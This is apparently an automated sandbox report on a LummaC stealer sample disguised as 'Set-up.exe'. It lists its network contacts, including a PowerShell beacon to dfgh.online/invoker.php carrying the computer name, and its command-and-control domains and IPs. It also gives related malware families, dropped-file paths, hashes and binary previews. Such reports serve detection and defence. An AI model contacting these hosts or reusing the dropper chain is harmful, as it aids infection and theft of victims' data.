https://dfgh.online/invoker.php?compName=user-PC	powershell.exe, 00000011.00000002.2141357432.0000000005396000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2205308935.00000000034C0000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2211911206.0000000002390000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000016.00000003.2735056948.0000000002680000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
https://support.microsof	Auckland.com, 0000000C.00000003.2037868560.000000000424C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000011.00000002.2141357432.0000000005475000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.vikingcloud.com/VCTWGTSCA_L1.crl0	PSNDEYKP9CHQN0J79BBDFB.exe.12.dr	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	Auckland.com, 0000000C.00000003.2061439181.00000000041DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.info-zip.org/	BrightLib.exe, 00000032.00000002.2731879542.0000000039C58000.00000004.00000020.00020000.00000000.sdmp	false		high
http://michaeluno.jp/	BrightLib.exe, 00000032.00000002.2711429286.00000000032D6000.00000004.00000020.00020000.00000000.sdmp, BrightLib.exe, 00000032.00000002.2711310677.0000000003160000.00000004.00000020.00020000.00000000.sdmp, BrightLib.exe, 00000032.00000000.2666030998.0000000000AEE000.00000002.00000001.01000000.0000000F.sdmp, BrightLib.exe, 00000032.00000002.2712071101.0000000006351000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.securetrust.com/0?	PSNDEYKP9CHQN0J79BBDFB.exe.12.dr	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	Auckland.com, 0000000C.00000003.2049423518.00000000041D9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Auckland.com, 0000000C.00000003.2037206099.00000000041F0000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.37.128	klipvumisui.shop	United States	13335	CLOUDFLARENETUS	false
188.114.96.3	carveforutune.click	European Union	13335	CLOUDFLARENETUS	true
185.161.251.21	cegu.shop	United Kingdom	5089	NTLGB	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1584513
Start date and time:	2025-01-05 18:24:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	51
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	'Set-up.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@84/38@5/3
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 51% Number of executed functions: 46 Number of non-executed functions: 41
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 52.149.20.212, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target BrightLib.exe, PID 2680 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 7144 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
12:25:01	API Interceptor	1x Sleep call for process: 'Set-up.exe modified
12:25:37	API Interceptor	9x Sleep call for process: Auckland.com modified
12:25:46	API Interceptor	15x Sleep call for process: powershell.exe modified
12:26:41	API Interceptor	1x Sleep call for process: BrightLib.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.37.128	SET_UP.exe	Get hash	malicious	LummaC	Browse
	Full_Setup.exe	Get hash	malicious	LummaC	Browse
	Setup.exe	Get hash	malicious	LummaC	Browse
	Active_Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	re5.mp4.hta	Get hash	malicious	LummaC	Browse
	Active_Setup.exe	Get hash	malicious	LummaC	Browse
	Set-up.exe	Get hash	malicious	LummaC	Browse
	#Setup.exe	Get hash	malicious	LummaC	Browse
	@Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	installer_1.05_36.4.exe	Get hash	malicious	LummaC Stealer	Browse
188.114.96.3	Gg6wivFINd.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	unasnetds.ru/eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php
	QUOTATION_NOVQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/u7ghXEYp/download
	CV_ Filipa Barbosa.exe	Get hash	malicious	FormBook	Browse	www.mffnow.info/1a34/
	A2028041200SD.exe	Get hash	malicious	FormBook	Browse	www.mydreamdeal.click/1ag2/
	SWIFT COPY 0028_pdf.exe	Get hash	malicious	FormBook	Browse	www.questmatch.pro/ipd6/
	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/I7fmQg9d/download
	need quotations.exe	Get hash	malicious	FormBook	Browse	www.rtpwslot888gol.sbs/jmkz/
	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/Bh1Kj4RD/download
	http://kklk16.bsyo45ksda.top	Get hash	malicious	Unknown	Browse	kklk16.bsyo45ksda.top/favicon.ico
	QUOTATION_NOVQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/XrlEIxYp/download
185.161.251.21	Set-up.exe	Get hash	malicious	LummaC	Browse
	SET_UP.exe	Get hash	malicious	LummaC	Browse
	Setup.exe	Get hash	malicious	LummaC	Browse
	Setup.exe	Get hash	malicious	LummaC	Browse
	Full_Setup.exe	Get hash	malicious	LummaC	Browse
	Setup.exe	Get hash	malicious	LummaC	Browse
	SET_UP.exe	Get hash	malicious	LummaC	Browse
	Setup.exe	Get hash	malicious	LummaC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cegu.shop	Set-up.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	SET_UP.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Full_Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	SET_UP.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
klipvumisui.shop	Set-up.exe	Get hash	malicious	LummaC	Browse	172.67.208.58
	SET_UP.exe	Get hash	malicious	LummaC	Browse	104.21.37.128
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.208.58
	Full_Setup.exe	Get hash	malicious	LummaC	Browse	104.21.37.128
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.37.128
	Active_Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.37.128
	re5.mp4.hta	Get hash	malicious	LummaC	Browse	104.21.37.128
	setup.exe	Get hash	malicious	LummaC	Browse	172.67.208.58
	Active_Setup.exe	Get hash	malicious	LummaC	Browse	104.21.37.128
	Set-up.exe	Get hash	malicious	LummaC	Browse	104.21.37.128

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	setup.msi	Get hash	malicious	Unknown	Browse	104.21.32.1
	Set-up.exe	Get hash	malicious	LummaC	Browse	104.21.21.63
	SET_UP.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.208.58
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.90.109
	Full_Setup.exe	Get hash	malicious	LummaC	Browse	172.67.196.191
	momo.spc.elf	Get hash	malicious	Mirai	Browse	1.1.1.1
	momo.ppc.elf	Get hash	malicious	Mirai	Browse	1.1.1.1
	momo.sh4.elf	Get hash	malicious	Mirai	Browse	1.1.1.1
	momo.x86.elf	Get hash	malicious	Mirai	Browse	1.1.1.1
CLOUDFLARENETUS	setup.msi	Get hash	malicious	Unknown	Browse	104.21.32.1
	Set-up.exe	Get hash	malicious	LummaC	Browse	104.21.21.63
	SET_UP.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.208.58
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.90.109
	Full_Setup.exe	Get hash	malicious	LummaC	Browse	172.67.196.191
	momo.spc.elf	Get hash	malicious	Mirai	Browse	1.1.1.1
	momo.ppc.elf	Get hash	malicious	Mirai	Browse	1.1.1.1
	momo.sh4.elf	Get hash	malicious	Mirai	Browse	1.1.1.1
	momo.x86.elf	Get hash	malicious	Mirai	Browse	1.1.1.1
NTLGB	Set-up.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	SET_UP.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Full_Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	momo.mips.elf	Get hash	malicious	Mirai	Browse	82.18.222.135
	momo.arm.elf	Get hash	malicious	Mirai	Browse	82.17.192.171
	momo.mpsl.elf	Get hash	malicious	Mirai	Browse	82.128.104.220
	momo.arm7.elf	Get hash	malicious	Mirai	Browse	86.15.30.49
	z0r0.m68k.elf	Get hash	malicious	Mirai	Browse	86.17.1.179

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	Set-up.exe	Get hash	malicious	LummaC	Browse	104.21.37.128 188.114.96.3 185.161.251.21
	SET_UP.exe	Get hash	malicious	LummaC	Browse	104.21.37.128 188.114.96.3 185.161.251.21
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.37.128 188.114.96.3 185.161.251.21
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.37.128 188.114.96.3 185.161.251.21
	Full_Setup.exe	Get hash	malicious	LummaC	Browse	104.21.37.128 188.114.96.3 185.161.251.21
	K27Yg4V48M.exe	Get hash	malicious	LummaC	Browse	104.21.37.128 188.114.96.3 185.161.251.21
	IH5XqCdf06.exe	Get hash	malicious	LummaC	Browse	104.21.37.128 188.114.96.3 185.161.251.21
	3jL3mqtjCn.exe	Get hash	malicious	LummaC	Browse	104.21.37.128 188.114.96.3 185.161.251.21
	file.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse	104.21.37.128 188.114.96.3 185.161.251.21
	J18zxRjOes.exe	Get hash	malicious	LummaC	Browse	104.21.37.128 188.114.96.3 185.161.251.21

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Setup.exe	Get hash	malicious	LummaC	Browse
	9W9jJCj9EV.bat	Get hash	malicious	Remcos	Browse
	c2.hta	Get hash	malicious	Remcos	Browse
	c2.hta	Get hash	malicious	Remcos	Browse
	RisingStrip.exe	Get hash	malicious	Vidar	Browse
	Active_Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	CenteredDealing.exe	Get hash	malicious	Vidar	Browse
	CenteredDealing.exe	Get hash	malicious	Vidar	Browse
	over.ps1	Get hash	malicious	Vidar	Browse
	MatAugust.exe	Get hash	malicious	Vidar	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	947288
Entropy (8bit):	6.630612696399572
Encrypted:	false
SSDEEP:	24576:uvG4FEq/TQ+Svbi3zcNjmsuENOJuM8WU2a+BYK:u9GqLQHbijkmc2umva+OK
MD5:	62D09F076E6E0240548C2F837536A46A
SHA1:	26BDBC63AF8ABAE9A8FB6EC0913A307EF6614CF2
SHA-256:	1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49
SHA-512:	32DE0D8BB57F3D3EB01D16950B07176866C7FB2E737D9811F61F7BE6606A6A38A5FC5D4D2AE54A190636409B2A7943ABCA292D6CEFAA89DF1FC474A1312C695F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Setup.exe, Detection: malicious, Browse Filename: 9W9jJCj9EV.bat, Detection: malicious, Browse Filename: c2.hta, Detection: malicious, Browse Filename: c2.hta, Detection: malicious, Browse Filename: RisingStrip.exe, Detection: malicious, Browse Filename: Active_Setup.exe, Detection: malicious, Browse Filename: CenteredDealing.exe, Detection: malicious, Browse Filename: CenteredDealing.exe, Detection: malicious, Browse Filename: over.ps1, Detection: malicious, Browse Filename: MatAugust.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................\|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\f

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	506802
Entropy (8bit):	7.999650712935861
Encrypted:	true
SSDEEP:	12288:i1/Jw3XlNi2gi0ifn0c8dWkQQuUe2x1mGZs2to9RPMX9Ri7i+nIi30nA:i1/k1lfp0c8YLhBR4s2tukuG+INA
MD5:	C5DB717A0B4EA0902E852617E33CDB96
SHA1:	C7B001315F8814C2886A0B084D8F42E1E6FD365C
SHA-256:	0EEBE193F4F9026BD721E824CA530B873A4A703A738227B275A76260AFF7A4B0
SHA-512:	FBFD1122C50DB893370ECFE3843EF8D69840FFC93A5335FEAAB56B01E2E997FF380DDAB28CD3E9B9DD59673A0A5F2951E1207D7616D6A92F41B2183AB3DE575D
Malicious:	false
Preview:	.FZ..\...y.'..A......W.P...^Q....].D..........6.......g.J2.}@.#....W.._.4.....Dw2.x....Y.(f....Ti..4......g..9.M..v..zJ.......J.C..CN.K....l.C,..!,..H........8.B.......s..~.N.....9Yx..V.-....nt7.pY..].v4$yS..B.&..~,.....v.....,.]M...p.D.L.M}..m....G.L...B.'.i'.R.U)...H@.....O..h6...x....A.....+./C2.......,.uR....};F...N..#r......[..OH.&.......G.\|R6EA......G.j2,S(.4..."s&........$..G.-.@...N.i5.I..]b8#..U+...A.e..Y........]$.B..0j.^.f.....yqV`c(.l.P.1...D0xnH!(...s..%' ..=f..O...Q..]..m!..P.[C.`...(....=l(Tt...Cb....~..x...`..j..%.%.i:D...y...XJd.#n..........(...q=.Cu2Jds....ns.I.....N{0..Q..#......`R=xW.M.-(....Q".....N".{ a..P1.Fsa....jE..oo..f&..^..V.d..<..{Y......?.L.m..(....Q..W..t..6-G..pP./.._N...:.x&.R0..P...$..........\|.s.q4.9h..u..p....../../%=.&._..e.....I].........)...L.#.>....,.\|w...c...Y$(......7x...5...........sl.......r!:...c5D....-...y.8[....<...<`.....F......+..>.G".E...,`.~cr...6.k.P.[......\|.[.{..ZC.b..l.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Alerts

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	95232
Entropy (8bit):	4.9012121347637665
Encrypted:	false
SSDEEP:	768:XSGKAGWRqA60dTcR4qYnGfAHE9AUsFxyLtVSQsbZgar3R:DKaj6iTcPAsAhxjgarB
MD5:	0D08F4EF87C60A4E83C242DDF2ECFBCC
SHA1:	D6F31423CF6C80601A7C9D9F9A96D71F54782A33
SHA-256:	D9575995CA551B9328BF6B57F7A2781EDC739E9D7FBF2E6F3F89FC07A6BE4EBE
SHA-512:	C18159ACF7CD36AB7F0224059C6EE141AB54FD776EEE8C532811786992AE29487B97C42D131076A6201FD4179208BF1C2BE18FAEBA144716507B9AD15D715FD2
Malicious:	false
Preview:	r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.....................................................r...................................................................................................................................................................................r.r.r.r.r.r.r.r.r.r.r.r.............................................................................................................................................................................................................................................................................................................................................................................................................................................r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.........................r.r.r.r.....................................................................................m.m.m.m.......k.k.k.k.k.....................r...................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Arrived

Download File

Process:	C:\Users\user\Desktop\'Set-up.exe
File Type:	data
Category:	dropped
Size (bytes):	95232
Entropy (8bit):	7.998148784154727
Encrypted:	true
SSDEEP:	1536:HE4R6jFXDq6CTdVUmgSowejOs6/ihQZJ1fcK3mIBP4aXtgf7e2PscLC+J:k4RWNiVU1X/t6/iIJS2/nifn0cpJ
MD5:	FB9B92045C9739C8C6DF0008EDBD72E0
SHA1:	818AE291F5E58872D8463F37CCC3456B94EE89C4
SHA-256:	03CD7F60407C763D7EA194E85F45EBF5CF3A81C62A7C33CC67AF356841544EC0
SHA-512:	058EBFB2DC888D558449E2BF7F254135CE3DE37FD27077549FC5D4D29AB6F56394B56983F23AD3A27B0D6CB04DFD4297ADDFC1C69C3B355258DD5F2FA0C725EF
Malicious:	false
Preview:	....1.cY#..L....;f.Z.1.x.<.r..\|\U..W.N...?+a.MQ'.......C..t.%..E%<..`.eI......k.....CzP...^N.......>.Jm.j4..X.P.....].m3..)..i...p.......}E.8..Z.p{.4]........v.G\|x.\|5\|d...j..A....'........I...M...v.l.r.......n].5....~,`.K..W.1^Uv...E,>7.Di.:#Y[@f.....':.....&FQ.....~XC.k.........&T[C...E..&6L..kC.g.~7s.....b{.#..lc....&_pd.....)T<D1.%..)..Q7...2]..J....s.6(....a.,S..\|.C...>0...MR.4G"=..:.k....q.r..Z....5.(.....U...=$..[%>.<d..0w..Y..}kZa....3..EK.6V&Tm_.^.c.........../..vu....tA,..D4.....6JB\|.D..........o7..\....`..A..6.H.oXS...\|d...O..Nb.bX...}../..l..).Y5.R......i..OB.J.?..."WD.%..u.......\|..\.."!........%..........h..ak..Rf.w(Dn....w..."...`!w.).j.D.5l.&.......3.3.\|.t8.......)..O.i........G...W7. ...?..1S..Vd.N..(1/J5..N.xOe.?..#^u.8]..m...d.=.V....3....+..6..N...BL.x.D..S......P.....,.s.9....X....r..S.oIe....W\.H.u.I\|.O..C=Y.V%D!...G.....v{\|.......c..<..b..%\>+.=.&..Y...nZ'..(.] ...DP@...9.......l.a.~....rR@.jS.I@.K..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Az

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	28060
Entropy (8bit):	7.219206304707778
Encrypted:	false
SSDEEP:	768:IsMvLHfR/ZByLiFuO/ChgZ45VatJVEV3GPkjF:IxvTphAiPChgZ2kOE6
MD5:	295C8627F790E81F5A4480E5880A6140
SHA1:	F6F65BC3BA6748DC2F84E5377AB1FD14B3789298
SHA-256:	5BF736B8F4330C48E2471C499069D74199D641B1C95C6FBDC537C13216CE0251
SHA-512:	655C4E8DCC842BA7B3D0D7147E26F3B52C03FEA94BBDDB9C18943D29E66B7DB0A665239D043DA19C72F51557D9274F5FEE71684075B682B480D8A44EAB3FA3BD
Malicious:	false
Preview:	.?.?.?.?.?.?.?...P..D....0.0{0.0.0.0.0.0.0.1.1#151P1.1.1.1.1.2$2@2d2.2.2.2.2.2.2.3@3.`.......7.7.8.>a?...p..H...~0.0.0.0X2.2.2.2.2.2.2.2.2u3.4.4.4.4.4.4.4.4.4!5%5)5-5155595=5.=....8... 0.2.2.2.2.3.3.3.3.3.3.3.3#3u3.3.:1:.:.::;W;};k<....8....1.3.3.3.3.4.4.4)474G4\4s4.4.4.4.4.4.4.4.5.5.7......@....6.6.6.6C7L7W8`8.8.8.8.9.9.9.9.9.9.9.9.9.9.:.:.:+:0:5:.?....$....1.1.2.2F5.6.6.7.7u:}=.=.=.=.........0.2.2.2.2{6....H...l3~3.3.3.3.3.494}4.4.4.4.4'5.5.5.5.5.6.6.6.:.:.:O;o;.;.<Z<n<.<.<....0...40S0X0.1.3.4R5.5J6W6g6t6^7.7.7.8.9T<.>.>........q0.1.1.1.2.3/4.4.4.4r5.5.6@6S6b6.6.6.6.627.7.7.7.7.8#808B8.8.8.8.9'9=9O9b9.9%:7:~:.:.:.:.:s;.;.;.;.;.;.<B<.<.<.<.<.<.=.=2=r=.=.=.=.>*>5>G>b>.>.?.?)?4?Z?e?w?.?.?....X....0.0R0]0o0.0.0.0C1]1f1n1.1.1.1g2\|2.2.2.7C8i8.8.8.9.9A:S:.:.:.:.;.;K=}=.>.?J?.?......H...]1a1e1i1m1q1u1y1.2.4O539g:}:.:.:.:.:R;[;.;.;.=.=.=.=.>.>->[>`>... ......~0.0.0.0.1D1_1t1y1.1.1.1.1.1.2.2.2$3/3~3.3.3v4.4.5O5a5.5.5.5.5.5.5.6 6%666<6G6O6Z6`6k6q6.6.6.6.6.6.6.6.6.6.6.6.7.7 7E7L7U7.7.7.7.858@8J8

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Bookstore

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	143360
Entropy (8bit):	6.56160167576391
Encrypted:	false
SSDEEP:	3072:yBJR8CThpmESv+AqVnBypIbv18mLthfhnueoMmOqDoioO5bLezW9FfTut/Dde68:yB0CThp6vmVnjphfhnvO5bLezWWt/Dds
MD5:	01250FC80E2277FDBED3D6598ECCDD78
SHA1:	FC72EFEEFBCF22BE12F18FD83E90DD963B87E633
SHA-256:	AEFB99AC34A325BA9973CC71E0FC97A302C02D82AF7937EED51F9CCB32446B0F
SHA-512:	A67C5972D701D441052121D314E4B908CD914210E5D0ACC709BC8ED6D756758573AC1ADE7E2F88A43487260331EE17A5F835401EA111BF303C98C933CB82FC0E
Malicious:	false
Preview:	.U..VW..j..w..}...Y.u...........u......G..A..G..H..O..G._^]...U..VW.}.....Q..A...t..B...t..P.;.u...;N.u..V.Q.....'..N._^]...U..m..u..}..t..u.j.hg....u...H.I.3.]...U.......`...SW.E.P......Ph.....u...d.I...............P......hP~L.P..........P.........f..]....\u.f..]....:t.3.f..]....3.W.u...$.I...u.8E.t(Wh.. .j.WWh...@.u.....I......u..u...(.I.3._[....h..........j.P.\|...............f.........f............h....P......P...........M....3...f.........RQRR...P......Ph....W..L.I.W..u...`.I..`.....`.I.3.@.]...U......<SVW.}..G..0....E...N....D$..D$8.A..D$<.A..D$@.A..D$D...G..p....E...N....D$..A..D$..A..D$ .A..L$..D$$...y...t$..\|$.VW....I.h.\|L......$\|L.Y;.uB...t(..\|L.+.........\$.f;.$\|L...S.........u.3...u.S.L$...;...t$..4\|L.W./...Y;.u3...t'.L$.+.......9.\$.f;.$\|L.............u.3...t;S.....Y;.........t..D$.+........f;.............u.3..........t$.....I..........h.xL..L$,..h...D$8P.L$,.o1..h@\|L..L$,.(!...=..I.3.SSS.t$4.........hx\|L..L$,..:...D$.P.L$,.,1..h.\|L..L$,.. ..SSS.t$4...t.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Distribution

Download File

Process:	C:\Users\user\Desktop\'Set-up.exe
File Type:	data
Category:	dropped
Size (bytes):	61440
Entropy (8bit):	7.997000968506256
Encrypted:	true
SSDEEP:	1536:C5+lb9Oee+5qVRDX/oZumx/dQbD8t+sSYdq:C5me+gnDwZtx/drtVSt
MD5:	098AB409373C96D30E4EFED8D77EF61D
SHA1:	6F578148ECE90BB7DC7A82B9A39959EBC7493FFA
SHA-256:	AC964EACF14B939E589429E1E51B5D7ACD5053AA883A5F682FE2B20D2BF19122
SHA-512:	8CF6D8BF6CB131EC9101125F85A634F1071C7ECD720D35C3FE03224D4E0E31A1111A4D8B46E4BDA005BA4EE21F75504C0023D633B23FC217019AAE7BFDD10F80
Malicious:	false
Preview:	..1\..v.~-4.h%k<:..OR.....v...)..Q.;'.TJ..o.&y,.$.D..G&.....%.M..:..".9o.n.0..z2.[.xR.'.),.r#.@.+:g[&....I..3.4..kv.........`.;...e....&.....e.$.].iR.J....#..R...N~....~...:.:..\.h..f...n.d;l[#...9.0..r)1,.8.r.W.Z......2.D....>........g.....X.:......e...?g.}....DX.c..:..@......dO...P;g.t...f.b.(5 ..@.V.N.i...D...RA....bulC....0e/...R.o...df....pe...KB>.\|..o~....x.Z.tR....A......v7....jD....C.Zm....`.....%\|..H.1i.q....\..."5@............Q.l.3.K%...~.@+.....T...,...>.....`.oj....P^...4V._...]#&."7.~....r.......K....V.O!V.m..`..xy....h=..(.oUor.....b..-+..8..!...N........B .Iw.DR.y.....j.k...[=U.......Rn..i.-....z,U......8.O..[..}M..J^mi.....J?4."......=.....%f.}..VPM.K.^..j:DA1gL:xC..jJl...=.x...&......&..]..c..e.#...?`\\|+.Bc.......%o5...................H.......^W...:.A..n{,.p/I.+.....\|",..4..C.+..).p4.Z.>...Q9.....{...iETMi}.h\|!.B^...5...wy2...+.........f....Jw...\......5.8-..A...R.)'.\9[...V......P.~h.~..:...G.......S....aJX(..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Divisions

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	75776
Entropy (8bit):	5.909752794023153
Encrypted:	false
SSDEEP:	768:hOWel3EYr8qcDP8WBosd0bHazf0Tye4Ur2+9BGmd9OTGQ1Dv0:h5el3EYrDWyu0uZo2+9BGmdATGODv0
MD5:	413C7B32B50E66644D36B64198BBAE30
SHA1:	6ED1A1259F3B3017C9D7D13D7F321111C0BC65A0
SHA-256:	2C95EFE0E6A5103B248F0937D9846B814187BD3AB9AE187BB3A61C913D45E68C
SHA-512:	FE3D9F076D4093482B66AF6273050A020DF299BFDA269BB9B9DA3A8AEC8FB7275A0FC61186578F09C4966A9DCC9CC25F79B9DC3F9E246F0A9759222550BA4C92
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Gotta

Download File

Process:	C:\Users\user\Desktop\'Set-up.exe
File Type:	data
Category:	dropped
Size (bytes):	75698
Entropy (8bit):	7.997774160674023
Encrypted:	true
SSDEEP:	1536:ypzh3AN9j1i5G3D69q7QP+9nmr1GBFjNiBaOl3oW0hefMh5+yumBWRfKp:yhh3S7iYz9naGrpiBaY4jh15+c+Kp
MD5:	4FBB0E5BB3DD365183F89D95D941EBDB
SHA1:	0BF5DB374FEDE40A2124E35C9FED2F508952A155
SHA-256:	DC8FC72EE73ABF05FAF93B79D0FE37F5F96ABFD5CD12F4AF6DA6FA279DA6940C
SHA-512:	908F3B270448FAE88E5B7AACBD0048E37DA163D44DE4E0B542AB1B73202051B1DA6BC577FFAAF0C6E72C34BB1DA27B08EE0A151562C13045EE0054000520EE0D
Malicious:	false
